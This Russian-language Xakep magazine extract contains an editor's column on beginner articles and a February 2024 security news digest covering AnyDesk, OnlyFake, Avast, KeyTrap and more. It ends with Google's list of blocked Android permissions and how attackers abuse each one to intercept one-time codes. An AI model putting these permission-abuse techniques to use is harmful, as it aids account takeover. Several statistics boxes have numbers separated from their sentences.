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Недавно в  «Хакере» вышла , пос‐
вященная основе основ веб‑безопас‐
ности — SQL-инъекциям. Возможно, кто‑то
заметил мое присутствие в  комментариях
под ней, и это неспроста. Для меня ее пуб‐
ликация  — одно из  важнейших событий
в «Хакере» за последнее время.

статья

У нас в редакции давно идет неспешный спор о том, стоит ли делать статьи
начального уровня. В смысле совсем‑совсем базового. Пресловутая «кавыч‐
ка» в этих разговорах обычно используется как собирательный образ чего‑то,
что уважающий себя хакер знает с пеленок.

Тем не менее запрос от читателей на такие статьи огромный, и стоит опуб‐
ликовать лайтовый материал, как  счетчик просмотров на  нем начинает кру‐
титься с  непривычной бодростью. Да  и в  комментариях постепенно появ‐
ляются благодарности от  людей, для  которых обычные наши статьи слож‐
новаты, а такая — в самый раз.

Примеров множество. Вспомнить хотя  бы серию Ивана Сараева «
», или наш с Валентином труд « », который

мы накатали в  качестве вступления к  сборнику « », или, нап‐
ример, статью « ».

Python
с абсолютного нуля Linux за 30 минут

Linux для Хакера
Цифровая электроника с самого начала

Однако пытаться заказать такой материал кому‑то из  наших постоянных
авторов  — то еще  мучение, к  тому же зачастую напрасное. Я раз за  разом
убеждаюсь, что никто не  желает разжевывать базовые темы, а  некоторые
авторы вообще не  согласны писать, пока не  подготовят действительно уни‐
кальный ресерч. Похвально, но кто более простую работу‑то делать будет?!

Я, впрочем, не  сдавался и  пробовал подбивать на  это новых авторов.
В  конце прошлого года мне написал парень с  ником  и  предложил
серию статей про хакерские фреймворки. Первым результатом нашего сот‐
рудничества стала статья « ». Вдохновившись
успехом, следом мы подготовили ту самую статью о «кавычке».

Sphinx

Краткий экскурс в  Metasploit

Статью иллюстрирует самая кавайная кавычка на свете, чтобы смягчить
сердца хейтеров

Когда нельзя взять новизной или уникальностью материала, остаются другие
козыри: подробность, доступность изложения и  актуальность информации.
На  некоторые популярные темы в  интернете написаны километры текстов,
но выискивать понятную и актуальную инфу в них иногда приходится по кру‐
пицам. Наша задача — изложить всё так, чтобы делать этого не пришлось.

А еще  между покупкой бумажного журнала и  подпиской на  Xakep.ru есть
важная разница. Оплатив доступ к  платным статьям на  сайте, читатель
получает , а это более полутора тысяч материалов.их все

Публикуя статьи с  пометкой «для новичков», мы преследуем две важные
цели: сиюминутную — сделать популярный материал — и глобальную — соз‐
дать библиотеку, которая  бы покрывала каждую из  основных наших тем
от начала до конца.

Журнал «Хакер» просто обязан писать много и  часто про  такие вещи,
как Burp Suite или Kali Linux. При этом темы номера про Kali у нас до сих пор
почему‑то ни  разу не  было. И  я догадываюсь почему. Сначала некому было
поручить (все ведь хотят публиковать свои ресерчи, а  не обзоры), а  потом
уже вроде бы и писать не о чем, ведь кажется, что все и так всё знают о Kali.
Впрочем, даже если  бы тогда написали, обзор десятилетней давности вряд
ли сейчас будет смотреться свежо и привлекательно.

Мы будем постепенно восполнять эти пробелы, а затем попробуем струк‐
турировать материалы на  сайте так, чтобы не  приходилось листать полторы
тысячи статей в поисках текста нужного уровня и на нужную тему. 

 — это, кстати, один из подходов к проблеме.
Подборки

статей

В общем, встретив в «Хакере» лайтовую статью, не спеши хвататься за мон‐
тировку. На  одного тебя приходится как  минимум трое читателей, которым
этот текст поможет потихоньку достичь твоих вершин мастерства, глубин муд‐
рости и ширин кругозора.

Да и хардкорные статьи ведь никуда не денутся. У нас есть железное пра‐
вило: никогда не  отказывать в  публикации, если тема крутая, но  слишком
узкоспециализированная. Пускай это будет мощная статья для пары десятков
человек. Ничего страшного, остальные хотя бы впечатлятся и положат в зак‐
ладки.

Кстати, если хочешь помочь нам закрывать дыры в  описании основных
хакерских техник и  инструментов, обращайся. Работы  — сколько угодно. Ну
а  с крутым ресерчем обращайся тем более! Моя почта (pismenny@glc.ru)
и   всегда открыты для новых авторов.Telegram

mailto:apismenny@gmail.com
https://xakep.ru/2024/02/15/sqli/
https://xakep.ru/2021/06/21/python-for-newbies/
https://xakep.ru/2021/11/16/linux-in-30-minutes/
https://xakep.ru/issues/xb/007/
https://xakep.ru/2022/04/15/mosfet/
https://xakep.ru/author/lloyd094/
https://xakep.ru/2023/12/14/metasploit-for-newbies/
https://xakep.ru/tag/vybor-redaktora/
https://xakep.ru/issues/xb/
https://t.me/apismennyy
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В этом месяце: хакеры украли у AnyDesk исходный код и сер‐
тификаты подписи кода, обнаружен сервис OnlyFake,
генерирующий фальшивые документы, правоохранители
хакнули инфраструктуру группировки LockBit, Avast оштра‐
фовали за  торговлю данными пользователей, для  Flipper
Zero вышел новый модуль, а  также другие интересные
события февраля.

ХАКЕРЫ ВЗЛОМАЛИ
ANYDESK
В AnyDesk заявили, что недавно компания подверглась кибератаке и хакерам
удалось получить доступ к ее производственным системам. По данным СМИ,
в итоге злоумышленники украли исходный код и сертификаты подписи кода.
При этом официальное заявление гласит, что речь идет не о вымогательской
атаке и расследованием случившегося уже занимаются правоохранительные
органы и эксперты ИБ‑компании CrowdStrike.

Известно, что после обнаружения взлома AnyDesk отозвала все связан‐
ные с безопасностью сертификаты, а также восстановила или заменила ряд
систем. В  компании заверили: AnyDesk полностью безопасен для  клиентов
и  нет никаких доказательств того, что устройства конечных пользователей
пострадали в результате инцидента.

Представители AnyDesk не  сообщают никаких подробностей случив‐
шегося, но  СМИ, со  ссылкой на  собственные источники, отметили, что зло‐
умышленники похитили у компании исходники и сертификаты подписи кода.

Хотя компания утверждает, что аутентификационные токены не были укра‐
дены, в качестве меры предосторожности AnyDesk сбросила пароли к своему
веб‑порталу my.anydesk[.]com и  рекомендовала клиентам как  можно скорее
сменить пароли, если они повторно использовались на других сайтах.

«
»

«AnyDesk спроектирован таким образом, что аутентификационные
токены сессий невозможно украсть. Они существуют только
на  устройстве конечного пользователя и  связаны с  профилем его
устройства. Эти токены никогда не  контактируют с  нашими сис-
темами,  — сообщают в  AnyDesk.  — Мы не  обнаружили признаков
перехвата сессий, потому что это невозможно».

В свою очередь, журналисты отметили, что компания уже начала замену укра‐
денных сертификатов подписи кода: Гюнтер Борн (Günter Born) из  BornCity
первым заметил, что в  версии AnyDesk 8.0.8, выпущенной  29  янва‐
ря  2024  года, используется новый сертификат. Старые исполняемые файлы
были подписаны именем philandro Software GmbH с  серийным
номером  0dbf152deaf0b981a8a938d53f769db8. Новая версия же подписана
AnyDesk Software GmbH с  серийным
номером 0a8177fcd8936a91b5e0eddf995b0ba5.

Специалисты ИБ‑компании Resecurity заметили, что двое злоумышленников
(один из которых использует ник Jobaaaaa) рекламируют на хакфоруме Exploit
продажу учетных данных клиентов AnyDesk. Jobaaaaa пишет, что эту
информацию можно использовать для  «скама и  рассылок». За  информацию
о  18  317  аккаунтах продавец надеется выручить  15  тысяч долларов США
в криптовалюте.

«
»

«Примечательно, что временные метки на  скриншотах, которыми
поделился злоумышленник, свидетельствуют об  успешном несанкци-
онированном доступе 3 февраля 2024 года (то есть уже после раскры-
тия инцидента)», — говорят исследователи.

Неясно, каким именно образом была получена эта информация, но, по мне‐
нию Resecurity, киберпреступники попытались поскорее монетизировать
учетные данные клиентов, зная о скором сбросе паролей.

УТЕКЛИ  ЗАПИСЕЙ О РОССИЯНАХ510 МИЛЛИОНОВ

По данным Роскомнадзора, с  начала  2024  года было зафиксировано  случаев утечки пер‐
сональных данных и в сеть попали более  записей о россиянах.

19
510 миллионов

Особенно в  ведомстве выделили один инцидент, в  результате которого произошла утечка
 записей. О какой утечке идет речь и с какой именно организацией она может

быть связана, в ведомстве пока не уточняют, ссылаясь на ведущееся расследование.
500 миллионов

ONLYFAKE
ГЕНЕРИРУЕТ
ФАЛЬШИВЫЕ
ДОКУМЕНТЫ
Журналисты издания 404 Media обнаружили сервис OnlyFake, который заяв‐
ляет, что использует нейросети и ИИ для создания поддельных удостовере‐
ний личности. Исследователи протестировали OnlyFake и  успешно прошли
проверку KYC (Know Your Customer) на нескольких криптовалютных биржах.

OnlyFake генерирует реалистичные поддельные водительские права
и  паспорта для  26  стран, включая Россию, США, Канаду, Великобританию,
Австралию и ряд стран ЕС, и принимает оплату в нескольких криптовалютах.
При этом цена одного фейка составляет всего 15 долларов США.

Также сервис предлагает клиентам сделать подделки еще  более убе‐
дительными. Например, изменить метаданные изображения, ведь эту
информацию могут просматривать сервисы для проверки личности или люди.
Так, можно указать, каким устройством якобы была сделана фотография
(Apple iPhone 11 Pro, Huawei BKL-L09), дату и время ее создания, а также под‐
делать GPS-координаты.

Пользователи могут не только загрузить собственную фотографию, но и выб‐
рать из множества готовых фото из архива OnlyFake. Причем сообщается, что
эти снимки не сгенерированы искусственным интеллектом.

«
»

«Эпоха отрисовки документов с  использованием фотошопа подходит
к  концу. Представляю вам генератор документов  3.0  — Onlyfake. Он
разрабатывался почти полтора года»,  — гласит реклама в  Telegram-
канале OnlyFake.

Сервис утверждает, что использует специальные «генераторы», которые соз‐
дают до  20  тысяч документов в  день. К  тому же его владелец, известный
под  ником John Wick, сообщил изданию, что сотни документов могут быть
созданы одновременно с  помощью заготовленных данных из  таблиц Excel.
По  его словам, создавать шаблоны документов он начал около трех лет
назад, а сам сервис‑генератор OnlyFake, согласно Telegram-каналу, находит‐
ся в разработке «почти полтора года».

Исследователи рассказали, что на данный момент биткоин‑адрес, связан‐
ный с  OnlyFake, получил криптовалюту на  сумму более  23  500  долларов.
Однако сервис принимает и другие криптовалюты, поэтому доходы его опе‐
раторов явно превышают эту сумму.

Также John Wick заявил, что сгенерированные сервисом документы могут
использоваться для обхода проверок на таких сайтах и биржах, как Binance,
Revolut, Wise, Kraken, Bybit, Payoneer, Huobi, Airbnb, OKX и  Coinbase. И  это
подтверждают пользователи, которые делятся в  Telegram своими успехами
в использовании поддельных документов для обхода проверок на различных
криптобиржах и сервисах.

Сооснователь 404 Media Джозеф Кокс (Joseph Сox) проверил эти утвер‐
ждения операторов OnlyFake лично, создав при помощи сервиса фальшивый
британский паспорт со своей фотографией и калифорнийские водительские
права. Эти фальшивки действительно позволили журналисту пройти KYC-
проверки на криптовалютной бирже OKX.

«

»

«Для мошенников привлекательность такого сервиса, как  OnlyFake,
заключается в  том, что эти якобы сгенерированные ИИ поддельные
документы могут использоваться для регистрации в онлайн‑сервисах,
которые запрашивают проверку личности. Разного рода сайты (банки,
криптовалютные биржи) или  даже отдельные специалисты (такие
как  юристы или  бухгалтеры) очень часто запрашивают как  минимум
скан или фото удостоверения личности. Некоторые социальные сети
в определенных обстоятельствах тоже могут запрашивать документы,
удостоверяющие личность», — пишет Кокс.

Интересно, что вскоре после публикации исследования Кокса в  Telegram-
канале появилось заявление от  операторов сервиса, которые утверждают,
что сообщения об  использовании OnlyFake для  подделки документов  —
это фейк и «полная чушь»:

«

»

«В новостях пишут, что наш генератор используется для  подделки
документов. Это  полная чушь. Такого никогда не  случалось.
Как минимум потому, что он не может быть использован для подделки
документов, — гласит сообщение. — Хотим напомнить, что мы против
любого незаконного использования изображений, созданных
с  помощью нашего сайта. Мы против мошенничества и  причинения
вреда другим людям. Все сгенерированные изображения на  сайте
предназначены только для легального использования».

Также в  Telegram сообщалось, что вскоре генератор обзаведется провер‐
ками «для противодействия незаконной деятельности».

 ПИСЕМ С ВРЕДОНОСНЫМ СПАМОМ21,3 МИЛЛИАРДА

Аналитики Яндекс  360  обнаружили тенденцию к  снижению количества спама в  почте. Так,
в  2023  году его отправили на  треть (на  писем) меньше, чем в  2019  году.
При  этом исследователи пишут, что уловки мошенников стали изощреннее в  части как  кон‐
тента, так и технологий, помогающих замаскировать спам под обычное письмо.

8,6  миллиарда

В прошлом году Яндекс  360  обработал свыше  входящих писем, из  них
 оказались вредоносным спамом, от которого защитили получателей.

97  миллиардов
21,3 миллиарда

Наиболее массовыми рассылками стали письма с  , в которых могли содер‐
жаться вредоносные ссылки ( ).

PDF-вложениями
1,5 миллиарда

Также были популярны предложения пройти обучение ( ), письма с  розыг‐
рышами, обещаниями призов и  предложениями попытать удачу ( ), спу‐
финг‑атаки, замаскированные под  письма от  известного магазина или  компании (

), а также письма с фальшивыми предложениями работы ( ).

582  миллиона
475  миллионов

462  мил-
лиона 324 миллиона

Наиболее активны спамеры оказались весной, в начале осенних распродаж, а также под Новый
год. Менее активны спамеры в начале года и на старте бизнес‑сезона (конец августа — начало
сентября).

ТРЕБОВАНИЯ
ДЛЯ WINDOWS 11
ОБНОВИЛИ
Хотя исходно Windows 11  имела весьма серьезные системные требования,
на  сегодня пользователи научились успешно обходить почти все сложности
и практически ничто не препятствует запуску Windows 11 на старом железе.
Однако теперь ситуация может измениться из‑за малоизвестной инструкции
под названием POPCNT.

Как все знают, Windows 11 может работать практически на любом 64-раз‐
рядном ПК, на котором запускается Windows 10, и ее успешно устанавливали
на старые машины времен Windows XP, построенные на Core 2 Duo.

Но ситуация меняется в  Windows 11  24H2, которую Microsoft начала тес‐
тировать в феврале 2024 года. Последние сборки Windows 11 отказываются
загружаться на  старых процессорах, не  поддерживающих инструкцию
POPCNT (Population count), которая используется для  «подсчета количества
битов в машинном слове».

Неясно, почему POPCNT вдруг стала необходимой, но  похоже, что ядро
Windows, сетевые и USB-драйверы, а также другие основные системные фай‐
лы в Windows 11 24H2 теперь требуют ее использования.

В современных x86-процессорах POPCNT входит в  набор инструкций
SSE4. Так, в процессорах Intel инструкция появилась как часть SSE4.2 в Core
первого поколения (архитектура Nehalem). В процессорах AMD она включена
в  состав SSE4a и  впервые была добавлена в  Phenom, Athlon и  Sempron
на базе архитектуры K10. Эти архитектуры вышли в 2007 и 2008 годах.

Таким образом, старые системы  2000-х годов, времен Intel Core 2 Duo
и Athlon 64, лишаются возможности работать с Windows 11 (которая, впрочем,
никогда не поддерживалась для них официально).

Конечно, эти изменения в основном затронут любителей ретрокомпьюте‐
ров, а  не пользователей реальных систем, а  энтузиасты, вероятно, со  вре‐
менем найдут способ обойти новое ограничение. Также стоит отметить, что
сборки Insider  — это  не финальный продукт, и  ситуация может измениться
в будущем, когда 24H2 станет общедоступной.

Хотя в системных требованиях Windows 11 перечислены тактовая частота
процессора, объем оперативной памяти, параметры накопителя и так далее,
на  деле системные требования давно стали более сложными. Например,
похоже, что требования Windows 11 к процессору (Intel Core 8-го поколения
или  новее либо AMD Ryzen 2000-й серии или  новее) частично обусловлены
необходимостью поддержки защитной функции mode based execution control
(MBEC), которая улучшает некоторые механизмы защиты целостности
памяти. Но ни один производитель не упоминает в своих рекламных матери‐
алах POPCNT или MBEC, а работа Windows в современных условиях зачастую
зависит именно от таких функций.

НОВЫЙ ФОРК NGINX

Максим Дунин, один из трех ключевых разработчиков Nginx, объявил, что создает собственный
форк проекта  — FreeNginx. Дунин объясняет, что нетехнический менеджмент F5  начал вме‐
шиваться в политику безопасности Nginx и  теперь проект уже нельзя рассматривать как сво‐
бодный проект с открытым исходным кодом.

→ «К сожалению, новое нетехническое руководство F5  недавно решило, что
оно лучше знает, как управлять проектами с открытым исходным кодом. В час‐
тности, они решили вмешаться в политику безопасности, которую Nginx исполь‐
зует уже много лет, игнорируя как саму политику, так и позицию разработчиков.
Это  вполне объяснимо: они владеют проектом и  могут делать с  ним все, что
захотят, в  том числе предпринимать маркетинговые действия, игнорируя
позицию разработчиков и сообщества. Тем не менее это противоречит нашему
соглашению. И, что более важно, я более не могу контролировать изменения,
вносимые в  Nginx внутри F5, и  более не  рассматриваю Nginx как  свободный
проект с  открытым исходным кодом, разрабатываемый и  поддерживаемый
для общего блага», — объяснил Дунин в своем сообщении.

ДЛЯ FLIPPER ZERO
ВЫШЕЛ МОДУЛЬ
VIDEO GAME
Создатели Flipper Zero совместно с  Raspberry Pi разработали новый модуль
Video Game. Он предназначен не  только для  игр: модуль также позволяет
подключить Flipper Zero к  телевизору, использовать его как  осциллограф,
управлять курсором в различных приложениях и так далее.

Новый модуль построен на разработке Raspberry Pi — микроконтроллере
RP2040 (таком же, как в Raspberry Pi Pico). Создатели Flipper рассказывают,
что немного разогнали его, «чтобы он мог генерировать видеосигнал».
Это  позволило оснастить модуль портом для  подключения к  телевизору
и  дублирования экрана Flipper. Также девайс получил датчик отслеживания
движений, который может использоваться в играх и приложениях.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ МОДУЛЯ
: Raspberry Pi RP2040  на  двухъядерном процессоре ARM Cortex-M0+

(до 133 МГц).
Микроконтроллер

: 264 Кбайт SRAM.Оперативная память

 TDK ICM-42688-P — 6-осевой MEMS-датчик отслеживания дви‐
жений (IMU).
Гироскоп и акселерометр:

 : работает как USB-устройство или хост (с ограничениями, так как USB power
delivery не поддерживается).
Порт USB Type-C

: сигнал DVI-D в разрешении 640 × 480, 60 Гц, через HDMI (разработчики
пишут про «известный видеостандарт», который нельзя называть из‑за ограничений по автор‐
ским правам, и намекают: первая буква — H, последняя — I).

Порт видеовыхода

: 11  контактов GPIO, подключенных к  RP2040, два контакта заземления и  один контакт
для питания (3,3 В).
GPIO

: активирует режим загрузчика (для разработчиков).Кнопка Boot

: перезагружает железо модуля.Кнопка Reset

Порт видеовыхода можно использовать, например, для отображения перех‐
ваченных данных на  большом экране. Подчеркивается, что, невзирая на  тот
факт, что оригинальное разрешение экрана Flipper Zero составляет все‐
го  128  на  64  пикселя, изображение на  экране ТВ выглядит четко и  хорошо.
Гироскоп и  акселерометр можно использовать как  для игр, так и  для более
практичных задач, например для управления компьютером.

Продолжение статьи
→

mailto:nefedova@glc.ru



Начало статьи←

Датчик отслеживания движений также может применяться в разных приложе‐
ниях и  играх. При  этом датчик доступен не  только для  микроконтроллера
модуля Video Game: его SPI-контакты выведены на  разъем Flipper Zero. То
есть датчик может напрямую использоваться приложениями, работающими
на Flipper Zero, например Air Mouse.

Кроме того, датчик подключен к  микроконтроллеру Raspberry Pi RP2040.
Это означает, что доступ к датчику имеют и прошивка модуля, и приложения,
работающие на Flipper Zero. Однако датчик не может одновременно исполь‐
зоваться модулем и Flipper Zero из‑за ограничений SPI.

Стоит отметить, что для  облегчения разработки будущих игр для  Flipper
Zero компания уже опубликовала игровой движок .
В  движок включен драйвер датчика отслеживания движения (ICM-42688-P),
который можно использовать в играх, поддерживающих модуль Video Game.

Flipper Zero Game Engine

 и  все , как  обычно, полностью открыты, и  разработчики
говорят, что уже с нетерпением ждут идей от сообщества.

Прошивка схемы

Пока модуль Video Game доступен только для  США и  стран ЕС
по  цене  49  долларов США. В  компании обещают, что в  ближайшее время
появится доставка и в другие регионы через партнеров‑дистрибьюторов.

ФИШЕРЫ ПИШУТ ПО ВТОРНИКАМ
Аналитики FACCT перечислили основные тренды в  области вредоносных почтовых рассылок.

 стал самым популярным у злоумышленников днем недели для отправки фишинговых
писем (  от всех писем за неделю), а почти  обнаруженных в рассылках вредоносов
были спрятаны во вложениях.

Вторник
19,7% 98%

Самой распространенной «упаковкой» для  малвари остаются .rar ( ), .zip ( ), .z
( ).

23,3% 21,1%
7,7%

Наиболее распространенными вредоносами в письмах стали спайварь Agent Tesla (обнаружена
в   вредоносных рассылок), а также стилеры FormBookFormgrabber ( ) и Loki PWS
( ).

39,4% 22,4%
7,4%

AVAST
ОШТРАФОВАЛИ
Федеральная торговая комиссия США (FTC) обвинила компанию Avast
в  нарушении прав миллионов потребителей. Речь идет о  незаконном сборе
пользовательских данных с  помощью расширений для  браузеров и  анти‐
вирусного ПО, а также последующей «продаже этих данных без надлежащего
уведомления и согласия потребителей».

FTC сообщила, что Avast будет оштрафована на 16,5 миллиона долларов
США, а  также обязана прекратить продажу и  передачу любых данных поль‐
зователей в рекламных целях.

Как утверждают представители американского регулятора, чешский про‐
изводитель антивирусов обманывал пользователей, уверяя, что ПО  Avast
защищает их конфиденциальность, хотя на  самом деле продукты Avast
не  информировали людей о  том, что сами собирают и  продают их данные,
с помощью которых можно идентифицировать конкретного человека.

Документы гласят, что Avast хранила данные пользователей в  течение
неопределенного времени и  продала их более чем  100  третьим сторонам
через свою дочернюю компанию Jumpshot. Комиссия заявляет, что Avast спе‐
циально приобрела эту фирму, провела ребрендинг и  превратила ее в  ана‐
литическую компанию, которая торговала собранной Avast информацией
с  рекламными, маркетинговыми и  аналитическими организациями, а  также
брокерами данных.

« »
«Объем данных, которые распространила Avast, просто поражает:
в документах утверждается, что к 2020 году Jumpshot накопила более
восьми петабайт браузинговой информации», — сообщают в FTC.

Напомним, что впервые об  этой практике Avast 
еще в 2020 году, когда журналисты Vice Motherboard и PCMag уличили Avast
в  тайном сборе пользовательских данных, которые затем перепродавались
таким гигантам, как  Google, Yelp, Microsoft, McKinsey, Pepsi, Sephora, Home
Depot, Condé Nast, Intuit, и многим, многим другим.

стало известно

Вскоре после публикации этого журналистского расследования Avast объ‐
явила о  , хотя тогда подчеркивалось, что Jumpshot всег‐
да действовала как  независимая компания с  собственным руководством
и советом директоров.

ликвидации Jumpshot

Данные пользователей, которые Avast собирала и  продавала третьим
лицам как минимум с 2014 года, включали в себя информацию о поисковых
запросах людей и  посещаемых ими страницах, раскрывали религиозные
убеждения, данные о  состоянии здоровья, политических взглядах, мес‐
тоположении, финансовом положении, посещении контента, ориентирован‐
ного на детей, и так далее.

Несмотря на заявления Avast о том, что перед продажей компания исполь‐
зовала специальные инструменты для  удаления любой идентификационной
информации, власти утверждают, что компания не обеспечивала достаточную
анонимизацию данных. К  примеру, среди них можно было обнаружить уни‐
кальные идентификаторы браузеров, из  которых собиралась информация,
детальные сведения о  посещенных человеком сайтах, точные временные
метки, тип устройства и  браузера, а  также информацию о  городе, штате
и стране проживания пользователя.

Теперь компании Avast не  только придется заплатить штраф в  раз‐
мере  16,5  миллиона долларов: ей будет запрещено распространять и  про‐
давать третьим лицам в рекламных целях данные, собранные с помощью про‐
дуктов под брендом Avast. Также компания будет обязана получать согласие
от  всех клиентов, прежде чем продавать и  распространять их данные, соб‐
ранные с помощью продуктов, не относящихся к Avast.

Кроме того, FTC требует от  Avast удалить все накопившиеся за  долгие
годы данные, переданные Jumpshot, а также все продукты и алгоритмы, раз‐
работанные Jumpshot с использованием этой информации.

Представители Avast сообщили СМИ, что компания уже достигла сог‐
лашения с Федеральной торговой комиссией:

«

»

«Компания Avast заключила мировое соглашение с  FTC, чтобы уре-
гулировать расследование, касающееся предоставления данных кли-
ентов дочерней компании Jumpshot, которую Avast добровольно зак-
рыла в  январе  2020  года. Мы привержены нашей миссии  — защите
и  расширению возможностей людей в  цифровом мире. Хотя мы
не  согласны с  претензиями FTC и  их изложением фактов, мы рады
разрешить этот вопрос и  надеемся и  далее предоставлять услуги
миллионам наших клиентов по всему миру».

 ВСЕХ DDOS-АТАК ПРИШЛОСЬ НА СФЕРУ
ФИНАНСОВ
36,88%

Специалисты Qrator Labs подвели итоги 2023 года. Выяснилось, что  всех DDoS-атак
пришлось на сферу финансов.

36,88%

Вторым самым атакуемым сегментом оказалась электронная коммерция с долей . Так‐
же в топ-5 самых атакуемых вошли сегменты , 

 и  .

24,95%
образовательных технологий онлайн‑гей-

минга ИТ и телекома

Атаки на уровне микросегментов

Самой продолжительной непрерывной DDoS-атакой года стал инцидент в  третьем квартале:
была атакована компания в сегменте аэропортов. Эта мультивекторная атака (UDP- + SYN- +
TCP-флуд) длилась почти три дня ( ), с 24 по 27 августа 2023 года.71,58 часа

Самые распространенные векторы атак

Также отмечается, что четвертый квартал прошлого года стал пиковым периодом по  уровню
активности ботов. Его показатели почти в два раза превысили количество атак ботов в первом
квартале, увеличившись с   до   запросов. В сравнении с третьим
кварталом число атак ботов возросло на  .

3 027 064 142 5 028 223 169
32%

При этом весь год росла доля онлайн‑ретейла в общем количестве бот‑активности, в итоге уве‐
личившись с   до  почти . Аналитики связывают это  с ростом интереса ботоводов
к данной сфере и повышением общего фона бот‑активности.

16% 30%

KEYTRAP НАЗВАЛИ
ХУДШЕЙ ИЗ ВСЕХ
DNS-АТАК
Группа исследователей обнаружила связанную с DNS уязвимость (CVE-2023-
50387), получившую название KeyTrap. По словам исследователей, эта проб‐
лема способна вывести из строя значительную часть интернета.

Уязвимость описывается как  критический недостаток в  структуре Domain
Name System Security Extensions (DNSSEC) — наборе расширений протокола
DNS. DNSSEC позволяет гарантировать достоверность и  целостность дан‐
ных, а  также минимизировать атаки, связанные с  подменой IP-адреса
при разрешении доменных имен. Фактически цель DNSSEC — предотвратить
«отравление» ответов на DNS-запросы и манипулирование ими.

О проблеме сообщили специалисты из немецкого Национального иссле‐
довательского центра прикладной кибербезопасности ATHENE, Дарм‐
штадтского технического университета, Франкфуртского университета имени
Иоганна Вольфганга Гёте и  Fraunhofer SIT. Они предупреждают, что KeyTrap
затрагивает все популярные имплементации и сервисы Domain Name System
(DNS), а  ее эксплуатация может вызвать перебои в  работе интернета
в  целом. Причем для  атаки понадобится всего один специально подготов‐
ленный DNS-пакет, который спровоцирует истощение ресурсов процессора
и длительный DoS.

В отчете подчеркивается, что уязвимость оставалась незамеченной более
двух десятилетий (с 1999 года), хотя нет никаких признаков того, что ею ког‐
да‑либо пользовались хакеры. Также утверждается, что производители софта
для  DNS-серверов назвали эту проблему «худшей DNS-атакой из  всех ког‐
да‑либо обнаруженных».

«
»

«Эксплуатация KeyTrap приведет к  серьезным последствиям
для  любого приложения, использующего интернет, в  том числе
к  недоступности таких технологий, как  веб‑браузинг, электронная
почта и обмен мгновенными сообщениями. С помощью KeyTrap зло-
умышленник может полностью вывести из строя большую часть все-
мирной сети», — рассказывают исследователи.

Сообщается, что атакам подвержены системы, использующие DNS-резол‐
веры с  валидацией DNSSEC. По  данным исследователей, по  состоянию
на  декабрь  2023  года такие резолверы использовали более  31% всех
веб‑клиентов в мире.

Исследователи объясняют, что проблема связана с  требованием DNSSEC
передавать все криптографические ключи для  поддерживаемых шифров
и соответствующие подписи для валидации. Процесс происходит одинаково,
даже если некоторые ключи DNSSEC сконфигурированы неправильно, невер‐
ны или относятся к шифрам, которые не поддерживаются.

Вооружившись этим знанием, эксперты разработали новый класс
DNSSEC-атак, связанных с  алгоритмической сложностью, которые могут
в 2 миллиона раз увеличить количество процессорных инструкций для DNS-
резолверов, тем самым провоцируя отказ в  обслуживании. Продолжитель‐
ность такого DoS зависит от  конкретной имплементации резолвера, но,
по словам исследователей, один запрос атакующих способен вызвать задер‐
жку ответа на время от 56 секунд до 16 часов.

Специалисты подчеркивают, что KeyTrap может влиять на крупнейших пос‐
тавщиков DNS-услуг, включая Google и  Cloudflare. Поэтому еще  в нояб‐
ре  2023  года эксперты уведомили ряд компаний о  найденной проблеме
и совместно с ними разработали меры по ее устранению. В результате зат‐
ронутые поставщики выпустили серию исправлений, последнее из  которых
вышло 13 февраля 2024 года.

Хотя затронутые поставщики уже представили патчи и  постарались сни‐
зить риски, специалисты пишут, что окончательное решение проблемы
KeyTrap может потребовать пересмотра всей философии разработки
DNSSEC и самого стандарта.

Бюллетени безопасности, связанные с CVE-2023-50387, уже опубликова‐
ли , , , , . Представители Google
и  Cloudflare также подтвердили, что исправили уязвимость KeyTrap в  своих
системах и пользователям ничто не угрожает.

Microsoft BIND PowerDNS NLnet Akamai

Руководитель Akamai Свен Даммер (Sven Dummer) поблагодарил иссле‐
довательскую группу не  только за  само обнаружение уязвимости, но  и
за работу с DNS-провайдерами и производителями ПО.

«
»

«Возможно, вы не знаете об этом, но глобальный интернет только что
уклонился от пули: KeyTrap — это уязвимость в ключевой инфраструк-
туре, необходимой для  функционирования всего интернета, и  одна
из  самых страшных когда‑либо обнаруженных проблем»,  — считает
Даммер.

 ГЕЙМЕРОВ ПИРАТЯТ ИГРЫ73%

В 2023 году российские геймеры скачали нелицензионные копии игр на сумму более 
, говорят специалисты образовательной платформы XYZ School. Так, в прош‐

лом году  запускали хотя бы одну пиратскую игру, тогда как в 2022 году их доля составля‐
ла .

324 мил-
лиардов рублей

73%
69%

В исследовании учитывались все нелицензионные форматы игр, но большая часть из них приш‐
лась на игры, скачанные с торрент‑трекеров. Самыми популярными среди пиратов играми ока‐
зались ,  и  .Atomic Heart Hogwarts Legacy Baldur’s Gate 3

GOOGLE ЗАПРЕТИТ
ОПАСНЫЕ
ПРИВИЛЕГИИ
Инженеры Google запустили пилотный проект по  борьбе с  финансовым
мошенничеством: в Android будут автоматически блокироваться APK-файлы,
запрашивающие доступ к опасным разрешениям.

Как правило, APK-файлы распространяются через сторонние сайты
и  магазины приложений, что позволяет устанавливать приложения, минуя
официальный магазин Google Play. Так как  на сторонних сайтах обычно
отсутствуют какие‑либо проверки на  безопасность и  вредоносное поведе‐
ние, APK могут содержать разнообразную малварь. Более того, злоумыш‐
ленники нередко прибегают к  социальной инженерии, убеждая жертву заг‐
рузить и  установить вредоносное приложение из  внешних, недоверенных
источников.

По данным Google, в  2023  году из‑за мошенничества пользователи
Android потеряли более триллиона долларов, причем 78% опрошенных сооб‐
щали, что сталкивались хотя бы с одной попыткой скама.

Еще в октябре 2023 года Google Play Protect получил новую защитную фун‐
кцию, которая в  режиме реального времени сканирует приложения, в  том
числе загруженные из сторонних магазинов и сайтов. Эта функция была внед‐
рена на  нескольких крупных рынках, включая Индию, Таиланд, Бразилию
и  Сингапур, и  ожидается, что в  этом году она распространится на  большее
число стран.

По словам представителей компании, эта функция уже позволила
выявить 515 тысяч нежелательных приложений, предупредив или заблокиро‐
вав 3,1 миллиона установок.

Теперь, чтобы дополнительно усилить защиту от нежелательных приложе‐
ний, Google запускает в  Сингапуре пилотный проект, в  рамках которого
Android будет сразу блокировать установку APK, запрашивающих доступ
к некоторым разрешениям. Так, потенциально опасными будут считаться:

  — злоумышленники используют его для  перехвата одно‐

разовых паролей (OTP) и  кодов аутентификации, отправленных через
SMS, что позволяет получить несанкционированный доступ к  аккаунтам
жертв;

• RECEIVE_SMS

 — используется для чтения конфиденциальной информации,
такой как  OTP, сообщения банков или  личные сообщения, без  ведома
пользователя;

• READ_SMS

 — атакующие используют это разрешение для чтения

или  удаления уведомлений из  легитимных приложений, в  том числе опо‐
вещений о безопасности или OTP (без ведома пользователя);

